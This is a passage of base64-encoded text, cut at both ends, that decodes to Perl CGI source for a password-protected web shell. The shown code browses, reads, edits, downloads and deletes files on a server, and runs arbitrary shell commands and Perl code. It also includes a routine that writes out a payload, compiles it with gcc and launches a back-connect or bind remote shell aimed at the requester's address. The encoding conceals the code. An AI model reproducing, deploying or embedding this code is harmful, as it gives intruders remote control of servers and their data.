kMiLCBoZXgoJDEpKS9lZzsNCgkJCSMkdmFsdWUgPSB1cmxkZWNvZGUoJHZhbHVlKTsNCgkJCSNwcmludCAkbmFtZS4iPSIuJHZhbHVlLiI8YnIgLz4iOw0KCQkJJGZvcm1saXN0eyRuYW1lfSA9ICR2YWx1ZTsNCgkJfQ0KCX0NCglmb3JlYWNoICR2YXIgKHNvcnQoa2V5cyglZm9ybWxpc3QpKSkgew0KCQkkdmFsID0gJGZvcm1saXN0eyR2YXJ9Ow0KCQkkdmFsID1+IHN8XG58XFxufGc7DQoJCSR2YWwgPX4gc3wifFxcInxnOw0KCX0NCglyZXR1cm4gJWZvcm1saXN0Ow0KfQ0Kc3ViIGluaXRfY29va2llKCl7DQoJbXkgJWNvb2tpZTsNCglpZihkZWZpbmVkKCRFTlZ7J0hUVFBfQ09PS0lFJ30pKXsNCgkJJHJhd2Nvb2tpZSA9ICRFTlZ7J0hUVFBfQ09PS0lFJ307DQoJCUByYXdjb29raWVzID0gc3BsaXQgLzsvLCAkcmF3Y29va2llOw0KCQlmb3JlYWNoIChAcmF3Y29va2llcyl7DQoJCQlteSAoJG5hbWUsJHZhbHVlKSA9IHNwbGl0IC89LzsNCgkJCSRjb29raWV7JG5hbWV9ID0gJHZhbHVlOw0KCQl9DQoJfQ0KCXJldHVybiAlY29va2llOw0KfQ0Kc3ViIHRyaW0oJCl7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiB4ZmlsZXN1bW1hcnkoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCgkkYnVmZiA9ICIiOw0KCWlmKC1mICRmaWxlKXsNCgkJJGJ1ZmYgPSAiRmlsZXNpemUgOiAiLiZ4cGFyc2VmaWxlc2l6ZSgmeGZpbGVzaXplKCRmaWxlKSkuIiAoICIuJnhmaWxlc2l6ZSgkZmlsZSkuIiApIDxzcGFuIGNsYXNzPVwiZ2F1bFwiPiA6OiA8L3NwYW4+UGVybWlzc2lvbiA6ICIuJnhmaWxlcGVybXMoJGZpbGUpLiIgKCAiLiZ4ZmlsZW93bmVyKCRmaWxlKS4iICk8c3BhbiBjbGFzcz1cImdhdWxcIj4gOjogPC9zcGFuPm1vZGlmaWVkIDogIi4meGZpbGVsYXN0bW9kaWZpZWQoJGZpbGUpOw0KCX0NCglyZXR1cm4gJGJ1ZmY7DQp9DQpzdWIgeHBhcnNlZmlsZXNpemUoJCl7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KSB7DQoJCXJldHVybiAkc2l6ZTsNCgl9DQoJZWxzZXsNCgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSB7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIga2IiOw0KCQl9DQoJCWVsc2Ugew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIG1iIjsNCgkJfQ0KCX0NCn0NCnN1YiB4ZmlsZXNpemUoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSl7DQoJCXJldHVybiAtcyAkZmlsZTsNCgl9DQoJcmV0dXJuICIwIjsNCg0KfQ0Kc3ViIHhmaWxlb3BlbigkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICRiaW5hcnkgPSBzaGlmdDsNCg0KCW15ICRjb250ZW50ID0gIiI7DQoJbXkgJG4gPSAiIjsNCglpZigtZiAkZmlsZSl7DQoJCWlmKG9wZW4oRklMRSwkZmlsZSkpew0KCQkJaWYoJGJpbmFyeSl7DQoJCQkJYmlubW9kZSBGSUxFOw0KCQkJfQ0KCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsNCgkJCQkkY29udGVudCAuPSAkZGF0YTsNCgkJCX0NCgkJCWNsb3NlKEZJTEUpOw0KCQl9DQoJfQ0KCXJldHVybiAkY29udGVudDsNCn0NCnN1YiB4ZmlsZXNhdmUoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkY29udGVudCA9IHNoaWZ0Ow0KCWlmKG9wZW4oRklMRSwiPiIuJGZpbGUpKXsNCgkJYmlubW9kZSBGSUxFOw0KCQlwcmludCBGSUxFICRjb250ZW50Ow0KCQljbG9zZShGSUxFKTsNCgkJcmV0dXJuIDE7DQoJfQ0KCWVsc2UgeyByZXR1cm4gMCB9Ow0KfQ0Kc3ViIHRyaW1zbGFzaGVzKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCglpZigmaXNfd2luKCkpew0KCQkkc3RyID1+IHMvXFwkLy87DQoJfQ0KCWVsc2V7DQoJCSRzdHIgPX4gcy9cLyQvLzsNCgl9DQoJcmV0dXJuICRzdHI7DQp9DQpzdWIgeGZpbGVvd25lcigkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKXsNCgkJaWYoLWQgJGZpbGUpew0KCQkJJGZpbGUgPSB0cmltc2xhc2hlcygkZmlsZSk7DQoJCX0NCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCZpc193aW4oKSl7DQoJCQlyZXR1cm4gIj8/PyI7DQoJCX0NCgkJZWxzZXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiI6Ii4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIHhmaWxlbGFzdG1vZGlmaWVkKCQpew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpew0KCQlpZigtZCAkZmlsZSl7DQoJCQkkZmlsZSA9IHRyaW1zbGFzaGVzKCRmaWxlKTsNCgkJfQ0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy9KYW4gRmViIE1hciBBcHIgTWF5IEp1biBKdWwgQXVnIFNlcCBPY3QgTm92IERlYy87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLSVzLSU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIHhmaWxlcGVybXMoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCgkkaXNyZWFkYWJsZSA9ICItIjsNCgkkaXN3cml0ZWFibGUgPSAiLSI7DQoJaWYoLWUgJGZpbGUpew0KCQlpZigtciAkZmlsZSl7ICRpc3JlYWRhYmxlID0gInIiOyB9DQoJCWlmKC13ICRmaWxlKXsgJGlzd3JpdGVhYmxlID0gInciOyB9DQoJfQ0KCXJldHVybiAkaXNyZWFkYWJsZSAuICIgLyAiIC4gJGlzd3JpdGVhYmxlOw0KfQ0Kc3ViIHhybWRpcigkKSB7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KICAgIGlmKG9wZW5kaXIoRElSLCRkaXIpKXsNCgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpew0KCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKXsNCgkJCQlpZigtZCAkZmlsZSl7DQoJCQkJCSZ4cm1kaXIoJGRpci4iXFwiLiRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZXsNCgkJCQkJdW5saW5rKCRkaXIuIlxcIi4kZmlsZSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKERJUik7DQoJfQ0KCXJtZGlyKCRkaXIpOw0KfQ0Kc3ViIHhjbGVhbnBhdGgoJCl7DQoJbXkgJHBhdGggPSBzaGlmdDsNCgkkcGF0aCA9ICZ1cmxkZWNvZGUoJnRyaW0oJHBhdGgpKTsNCglpZigmaXNfd2luKCkpew0KCQkkcGF0aCA9fiB0ci9cLy9cXC87DQoJfQ0KDQoJJHhTbGFzaCA9ICZESVJFQ1RPUllfU0VQQVJBVE9SKCk7DQoNCglpZigtZiAkcGF0aCl7DQoJCSRwYXRoID0gc3Vic3RyKCRwYXRoLDAscmluZGV4KCRwYXRoLCR4U2xhc2gpKTsNCgl9DQoJd2hpbGUoc3Vic3RyKCRwYXRoLC0xLDEpIGVxICR4U2xhc2gpew0KCQkkcGF0aCA9IHN1YnN0cigkcGF0aCwwLC0xKTsNCgl9DQoJcmV0dXJuICRwYXRoLiR4U2xhc2g7DQp9DQpzdWIgZGlybmFtZSgkKXsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCSR4U2xhc2ggPSAmRElSRUNUT1JZX1NFUEFSQVRPUigpOw0KCWlmKC1mICRmaWxlKXsNCgkJcmV0dXJuIHN1YnN0cigkZmlsZSwwLHJpbmRleCgkZmlsZSwkeFNsYXNoKSkuJHhTbGFzaDsNCgl9DQoJZWxzaWYoLWQgJGZpbGUpew0KCQkkZmlsZSA9ICZ4Y2xlYW5wYXRoKCRmaWxlKTsNCgkJcmV0dXJuIHN1YnN0cigkZmlsZSwwLHJpbmRleCgkZmlsZSwkeFNsYXNoKSkuJHhTbGFzaDsNCgl9DQoJZWxzZXsNCgkJcmV0dXJuIHN1YnN0cigkZmlsZSwwLHJpbmRleCgkZmlsZSwkeFNsYXNoKSkuJHhTbGFzaDsNCgl9DQp9DQpzdWIgYmFzZW5hbWUoJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCgkkeFNsYXNoID0gJkRJUkVDVE9SWV9TRVBBUkFUT1IoKTsNCglpZigtZiAkZmlsZSl7DQoJCXJldHVybiBzdWJzdHIoJGZpbGUscmluZGV4KCRmaWxlLCR4U2xhc2gpICsgMSk7DQoJfQ0KCWVsc2V7DQoJCXJldHVybiAkeFNsYXNoOw0KCX0NCn0NCnN1YiBpc193aW4oKXsNCgkkb3MgPSAkeFN5c3RlbTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX0NCgllbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQpzdWIgRElSRUNUT1JZX1NFUEFSQVRPUigpew0KCWlmKCZpc193aW4oKSl7DQoJCXJldHVybiAiXFwiOw0KCX0NCgllbHNlIHsNCgkJcmV0dXJuICJcLyI7DQoJfQ0KfQ0Kc3ViIHhkcml2ZSgpew0KCSRsZXR0ZXJzID0gIiI7DQoJQHJhbmdlID0gKEEuLlopOw0KCWZvcmVhY2ggJGxldHRlciAoQHJhbmdlKXsNCgkJJGNoZWNrID0gJGxldHRlci4iOlxcIjsNCgkJJGJvb2wgPSAoLWUgJGNoZWNrKTsNCgkJaWYgKCRib29sKSB7DQoJCQkkbGV0dGVycyAuPSAiPGEgaHJlZj1cIj9kaXI9Ii4kY2hlY2suIlwiPjxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPiI7DQoJCQkkbGV0dGVycyAuPSAkbGV0dGVyOw0KCQkJJGxldHRlcnMgLj0gIjxzcGFuIGNsYXNzPVwiZ2F1bFwiPiBdPC9zcGFuPC9hPiAiOw0KCQl9DQoJfQ0KCWlmKCRsZXR0ZXJzIG5lICIiKXsNCgkJJGxldHRlcnMgLj0gIjxiciAvPiI7DQoJfQ0KCXJldHVybiAkbGV0dGVyczsNCn0NCnN1YiB1cmxlbmNvZGUoJCl7DQoJbXkgJHN0ciA9IHNoaWZ0Ow0KCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7DQoJcmV0dXJuICRzdHI7DQp9DQpzdWIgdXJsZGVjb2RlKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCgkkc3RyID1+IHMvXCUoW0EtRmEtZjAtOV17Mn0pL3BhY2soJ0MnLCBoZXgoJDEpKS9zZWc7DQoJcmV0dXJuICRzdHI7DQp9DQpzdWIgeHBhcnNlZGlyKCQpew0KCW15ICRkaXIgPSBzaGlmdDsNCgkkeFNsYXNoID0gJkRJUkVDVE9SWV9TRVBBUkFUT1IoKTsNCglpZigmaXNfd2luKCkpew0KCQlAZGlycyA9IHNwbGl0IC9cXC8sJGRpcjsNCgl9DQoJZWxzZSB7DQoJCUBkaXJzID0gc3BsaXQgL1wvLywkZGlyOw0KCX0NCgkkYnVmZiA9ICIiOw0KCSRkbGluayA9ICIiOw0KCWlmKCEmaXNfd2luKCkpIHsNCgkJJGRsaW5rIC49ICZ1cmxlbmNvZGUoJHhTbGFzaCk7DQoJCSRidWZmIC49ICI8YSBocmVmPVwiP2Rpcj0iLiRkbGluay4iXCI+Ii4keFNsYXNoLiI8L2E+Jm5ic3A7IjsNCgl9DQoJZm9yZWFjaCAkZCAoQGRpcnMpew0KCQkkZCA9ICZ0cmltKCRkKTsNCgkJaWYoJGQgbmUgIiIpew0KCQkJJGRsaW5rIC49ICZ1cmxlbmNvZGUoJGQuJHhTbGFzaCk7DQoJCQkkYnVmZiAuPSAiPGEgaHJlZj1cIj9kaXI9Ii4kZGxpbmsuIlwiPiIuJGQuIiAiLiR4U2xhc2guIjwvYT4mbmJzcDsiOw0KCQl9DQoJfQ0KCXJldHVybiAiPHNwYW4gY2xhc3M9XCJnYXVsXCI+WyA8L3NwYW4+Ii4kYnVmZi4iPHNwYW4gY2xhc3M9XCJnYXVsXCI+IF08L3NwYW4+IjsNCn0NCnN1YiB4cGFyZW50Zm9sZGVyKCQpew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJJHhTbGFzaCA9ICZESVJFQ1RPUllfU0VQQVJBVE9SKCk7DQoJJHBhdGggPSAmeGNsZWFucGF0aCgkcGF0aCk7DQoJJHBhdGgxID0gc3Vic3RyKCRwYXRoLDAscmluZGV4KCRwYXRoLCR4U2xhc2gpKTsNCgkkcGF0aDIgPSBzdWJzdHIoJHBhdGgxLDAscmluZGV4KCRwYXRoMSwkeFNsYXNoKSk7DQoJaWYoKC1kICRwYXRoMikgfHwgKHJpbmRleCgkcGF0aDEsJHhTbGFzaCkgPT0gMCkpew0KCQlyZXR1cm4gJHBhdGgyLiR4U2xhc2g7DQoJfQ0KCWVsc2V7DQoJCXJldHVybiAkcGF0aDEuJHhTbGFzaDsNCgl9DQp9DQpzdWIgZWtzZSgkKXsNCglteSAkY21kID0gc2hpZnQ7DQoJcmV0dXJuIGAkY21kYDsNCn0NCnN1YiB4ZXZhbCgkKXsNCglteSAkY29kZSA9IHNoaWZ0Ow0KCSRjb2QgPSAkY29kZTsNCgkkY29kZSA9fiBzL1wiL1xcXCIvZzsNCglteSAkd2hpY2hwZXJsID0gJnRyaW0oJmVrc2UoIndoaWNoIHBlcmwiKSk7DQoJaWYoJHdoaWNocGVybCBlcSAiIil7DQoJCSRjb24gPSAmeGZpbGVvcGVuKCRFTlZ7J1NDUklQVF9GSUxFTkFNRSd9LDEpOw0KCQlpZigkY29uID1+IC9eIyEoLiopLyl7DQoJCQkkd2hpY2hwZXJsID0gJnRyaW0oJDEpOw0KCQl9DQoJfQ0KCSRyZXN1bHQgPSAiIjsNCglpZigkd2hpY2hwZXJsIG5lICIiKXsNCgkJJHJlc3VsdCA9ICZla3NlKCR3aGljaHBlcmwuIiAtZSBcIiIuJGNvZGUuIlwiIik7DQoJfQ0KCWlmKCRyZXN1bHQgbmUgIiIpew0KCQlyZXR1cm4gJHJlc3VsdDsNCgl9DQoJZWxzZXsNCgkJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJCWV2YWwoJGNvZCk7DQoJCWV4aXQoMSk7DQoJfQ0KfQ0Kc3ViIHhkaXIoJCl7DQoJbXkgJHBhdGggPSBzaGlmdDsNCgkkcGF0aCA9ICZ0cmltKCZ4Y2xlYW5wYXRoKCRwYXRoKSk7DQoJaWYoLWQgJHBhdGgpew0KCQlAZm5hbWUgPSAoKTsNCgkJQGRuYW1lID0gKCk7DQoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSl7DQoJCQkJaWYoLWQgJGZpbGUpew0KCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2V7DQoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcihESVIpOw0KCQl9DQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsNCgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOw0KCQkkYnVmZiA9ICI8ZGl2IGlkPVwiZXhwbG9yZXJcIj48dGFibGUgY2xhc3M9XCJ0YmxFeHBsb3JlclwiPg0KCQk8dHI+PHRoPkZpbGVuYW1lPC90aD4NCgkJPHRoIHN0eWxlPVwid2lkdGg6ODBweDtcIj5GaWxlc2l6ZTwvdGg+DQoJCTx0aCBzdHlsZT1cIndpZHRoOjgwcHg7XCI+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCBzdHlsZT1cIndpZHRoOjE1MHB4O1wiPkxhc3QgTW9kaWZpZWQ8L3RoPg0KCQk8dGggc3R5bGU9XCJ3aWR0aDoxODBweDtcIj5BY3Rpb248L3RoPjwvdHI+IjsNCgkJZm9yZWFjaCAkZCAoQGRuYW1lKXsNCgkJCW15ICRkID0gJnRyaW0oJGQpOw0KCQkJJHNkID0gJGQ7DQoJCQlpZigkZCBlcSAiLi4iKSB7DQoJCQkJJG5leHRkaXIgPSAmeHBhcmVudGZvbGRlcigmeHBhcmVudGZvbGRlcigkcGF0aCkpOw0KCQkJCSRkID0gJnhjbGVhbnBhdGgoJnhwYXJlbnRmb2xkZXIoJHBhdGgpKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgew0KCQkJCSRuZXh0ZGlyID0gJnhwYXJlbnRmb2xkZXIoJHBhdGgpOw0KCQkJCSRkID0gJnhjbGVhbnBhdGgoJHBhdGgpOw0KCQkJfQ0KCQkJZWxzZSB7DQoJCQkJJG5leHRkaXIgPSAkcGF0aDsNCgkJCQkkZCA9ICRwYXRoLiRzZDsNCgkJCX0NCgkJCSRkaXIgPSAkZDsNCgkJCSRidWZmIC49ICI8dHIgb25tb3VzZW92ZXI9XCJ0aGlzLnN0eWxlLmN1cnNvcj0ncG9pbnRlcic7dGhpcy5zdHlsZS5jdXJzb3I9J2hhbmQnO1wiIG9uY2xpY2s9XCJ3aW5kb3cubG9jYXRpb249ICc/ZGlyPSIuJnVybGVuY29kZSgkZCkuIic7XCI+DQoJCQk8dGQ+PHNwYW4gc3R5bGU9XCJmb250LXdlaWdodDpib2xkO1wiPjxhIGhyZWY9XCI/ZGlyPSIuJGRpci4iXCI+Wzwvc3Bhbj4gIi4kc2QuIiA8c3BhbiBzdHlsZT1cImZvbnQtd2VpZ2h0OmJvbGQ7XCI+XTwvc3Bhbj48L2E+PC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkYnVmZiAuPSAiPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4meGZpbGVwZXJtcygkc2QpLiI8L3RkPiI7DQoJCQkkYnVmZiAuPSAiPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4meGZpbGVsYXN0bW9kaWZpZWQoJHNkKS4iPC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPjxhIGhyZWY9XCI/ZGlyPSIuJGRpci4iJnByb3BlcnRpZXM9Ii4kZC4iXCI+UHJvcGVydGllczwvYT4gfCA8YSBocmVmPVwiP2Rpcj0iLiRuZXh0ZGlyLiImZGVsPSIuJGQuIlwiPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkYnVmZiAuPSAiPC90cj4iOw0KCQl9DQoJCWZvcmVhY2ggJGYgKEBmbmFtZSl7DQoJCQkkc2YgPSAkZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJnVybGVuY29kZSgkcGF0aCkuIiZ2aWV3PSIuJnVybGVuY29kZSgkZik7DQoJCQkkYnVmZiAuPSAiPHRyIG9ubW91c2VvdmVyPVwidGhpcy5zdHlsZS5jdXJzb3I9J3BvaW50ZXInO3RoaXMuc3R5bGUuY3Vyc29yPSdoYW5kJztcIiBvbmNsaWNrPVwid2luZG93LmxvY2F0aW9uPSc/ZGlyPSIuJnVybGVuY29kZSgmeGNsZWFucGF0aCgkcGF0aCkpLiImcHJvcGVydGllcz0iLiZ1cmxlbmNvZGUoJGYpLiInO1wiPjx0ZD4NCgkJCTxhIGhyZWY9XCI/ZGlyPSIuJnVybGVuY29kZSgmeGNsZWFucGF0aCgkcGF0aCkpLiImcHJvcGVydGllcz0iLiZ1cmxlbmNvZGUoJGYpLiJcIj4NCgkJCSIuJHNmLiI8L2E+PC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZD4iLiZ4cGFyc2VmaWxlc2l6ZSgmeGZpbGVzaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRidWZmIC49ICI8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiZ4ZmlsZXBlcm1zKCRmKS4iPC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJnhmaWxlbGFzdG1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJGJ1ZmYgLj0gIjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPjxhIGhyZWY9XCIiLiR2aWV3LiJcIj5FZGl0PC9hPiB8IDxhIGhyZWY9XCI/Z2V0PSIuJGYuIlwiPkRvd25sb2FkPC9hPiB8IDxhIGhyZWY9XCI/ZGlyPSIuJnhjbGVhbnBhdGgoJHBhdGgpLiImZGVsPSIuJGYuIlwiPlJlbW92ZTwvYT48L3RkPiI7DQoJCQkkYnVmZiAuPSAiPC90cj4iOw0KCQl9DQoJCSRidWZmIC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJCXJldHVybiAkYnVmZjsNCgl9DQp9DQpzdWIgeHJ1bmV4cGxvaXQoJCl7DQoJbXkgJGZwYXRoID0gc2hpZnQ7DQoJbXkgJGJhc2U2NCA9IHNoaWZ0Ow0KCW15ICRwb3J0ID0gc2hpZnQ7DQoJbXkgJHR5cGUgPSBzaGlmdDsNCgkkY29uID0gJmI2NGRlY29kZSgkYmFzZTY0KTsNCgkkZmluYWwgPSAiIjsNCglpZigmaXNfd2luKCkpew0KCQkkZm5hbWUgPSAiYmQuZXhlIjsNCgkJJGlwID0gIiI7DQoJCSRmcGF0aCA9ICRmcGF0aC4kZm5hbWU7DQoJCWlmKC1mICRmcGF0aCl7DQoJCQl1bmxpbmsoJGZwYXRoKTsNCgkJfQ0KCQlpZigmeGZpbGVzYXZlKCRmcGF0aCwkY29uKSl7DQoJCQkkZnBhdGggPSAmdHJpbSgkZnBhdGgpOw0KCQkJaWYoJHR5cGUgZXEgJ2Nvbm5lY3QnKXsgICRpcCA9ICRFTlZ7J1JFTU9URV9BRERSJ307IH0NCgkJCSRmaW5hbCAuPSAkZnBhdGguIiAiLiRwb3J0LiIgIi4kaXA7DQoJCQkmZWtzZSgmdHJpbSgkZmluYWwpKTsNCgkJCXJldHVybiAxOw0KCQl9DQoJfQ0KCWVsc2Ugew0KCQlpZigkdHlwZSBlcSAnY29ubmVjdCcpewkkZm5hbWUgPSAiYmFjayI7IH0NCgkJZWxzZSB7ICRmbmFtZSA9ICJiaW5kIjsgfQ0KCQkkaXAgPSAiIjsNCgkJJGZwYXRoID0gJGZwYXRoLiRmbmFtZTsNCgkJaWYoLWYgJGZwYXRoLiIuYyIpew0KCQkJdW5saW5rKCRmcGF0aC4iLmMiKTsNCgkJfQ0KCQlpZigmeGZpbGVzYXZlKCRmcGF0aC4iLmMiLCRjb24pKXsNCgkJCSRmcGF0aCA9ICZ0cmltKCRmcGF0aCk7DQoJCQlpZigkdHlwZSBlcSAnY29ubmVjdCcpeyAgJGlwID0gJEVOVnsnUkVNT1RFX0FERFInfTsgfQ0KCQkJJmVrc2UoImdjYyAiLiRmcGF0aC4iLmMgLW8gIi4kZnBhdGgpOw0KCQkJJmVrc2UoImNobW9kICt4ICIuJGZwYXRoKTsNCgkJCWlmKC1lICRmcGF0aCl7DQoJCQkJJGZpbmFsIC49ICRmcGF0aC4iICIuJHBvcnQuIiAiLiRpcDsNCgkJCQkmZWtzZSgmdHJpbSgkZmluYWwpKTsNCgkJCQlyZXR1cm4gMTsNCgkJCX0NCgkJfQ0KCX0NCglyZXR1cm4gMDsNCn0NCnN1YiBodG1sc3BlY2lhbGNoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0Kc3ViIG5sMmJyKCQpIHsNCiAgbXkgJHRleHQgPSBzaGlmdDsNCiAgJHRleHQgPX4gcy8oW1xyXG5dKS88YnIgXC8+JDEvZzsNCiAgcmV0dXJuICR0ZXh0Ow0KfQ0KDQpteSAlX1ZBUiA9ICZpbml0X2NnaTsNCm15ICVfQ09PS0lFID0gJmluaXRfY29va2llKCk7DQpteSAkeEN3ZCA9ICZ4Y2xlYW5wYXRoKCRFTlZ7J1NDUklQVF9GSUxFTkFNRSd9KTsNCm15ICRhdXRoID0gMDsNCm15ICRjbWRldmFsID0gIiI7DQpjaGRpcigkeEN3ZCk7DQppZihkZWZpbmVkKCRfVkFSeydwYXNzdyd9KSl7DQoJJGNoZWNrID0gJnRyaW0oJF9WQVJ7J3Bhc3N3J30pOw0KCSRmdXRfdGltZT1nbXRpbWUodGltZSgpKzM2MDAqMjQqNykuIiBHTVQiOw0KCSRmdXRfdGltZV89Z210aW1lKHRpbWUoKS0zNjAwKjI0KjcpLiIgR01UIjsNCg0KCWlmKCRjaGVjayBlcSAkc2hlbGxfcGFzc3dvcmQpew0KCQkkY29va2llID0gInBhc3M9Ii4kY2hlY2suIjsgcGF0aD0vOyBleHBpcmVzPSIuJGZ1dF90aW1lLiI7IjsNCgkJJG0gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KCQlwcmludCAiU2V0LUNvb2tpZTogIiAuICRjb29raWUgLiAiXG4iOw0KCQkkYXV0aCA9IDE7DQoJfQ0KCWVsc2Ugew0KCQkkY29va2llID0gInBhc3M9Ii4kY2hlY2suIjsgcGF0aD0vOyBleHBpcmVzPSIuJGZ1dF90aW1lXy4iOyI7DQoJCXByaW50ICJTZXQtQ29va2llOiAiIC4gJGNvb2tpZSAuICJcbiI7DQoJfQ0KfQ0KJGNoZWNrID0gIiI7DQppZihkZWZpbmVkKCRfQ09PS0lFeydwYXNzJ30pKSB7DQoJJGNoZWNrID0gJnRyaW0oJF9DT09LSUV7J3Bhc3MnfSk7DQp9DQppZigkY2hlY2sgZXEgJHNoZWxsX3Bhc3N3b3JkKXsNCgkkYXV0aCA9IDE7DQogfQ0KaWYoZGVmaW5lZCgkX1ZBUnsnaW1nJ30pKXsNCgkkZmlsZSA9ICZ0cmltKCRfVkFSeydpbWcnfSk7DQoJaWYoLWYgJGZpbGUpew0KCQlwcmludCAiQ29udGVudC10eXBlOiBpbWFnZS9qcGVnXG5cbiI7DQoJCWJpbm1vZGUgU1RET1VUOw0KICAgCSAJcHJpbnQgJnhmaWxlb3BlbigkZmlsZSwxKTsNCgkJZXhpdDsNCgl9DQoJZWxzZXsNCgkJJGltZyA9ICR7IiRmaWxlIn07DQoJCXByaW50ICJDb250ZW50LXR5cGU6IGltYWdlL3BuZ1xuXG4iOw0KCQliaW5tb2RlIFNURE9VVDsNCgkJcHJpbnQgJmI2NGRlY29kZSgkaW1nKTsNCgkJZXhpdDsNCgl9DQp9DQppZihkZWZpbmVkKCRfVkFSeydnZXQnfSkgJiYgKCRfVkFSeydnZXQnfSBuZSAiIikpew0KCSRmaWxlID0gJF9WQVJ7J2dldCd9Ow0KCSRmaWxleiA9ICZ4ZmlsZW9wZW4oJGZpbGUsMSk7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtXG4iOw0KCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPVwiIi4mYmFzZW5hbWUoJGZpbGUpLiJcIlxuXG4iOw0KCWJpbm1vZGUgU1RET1VUOw0KCXByaW50ICRmaWxlejsNCglleGl0Ow0KfQ0KaWYoZGVmaW5lZCgkX1ZBUnsn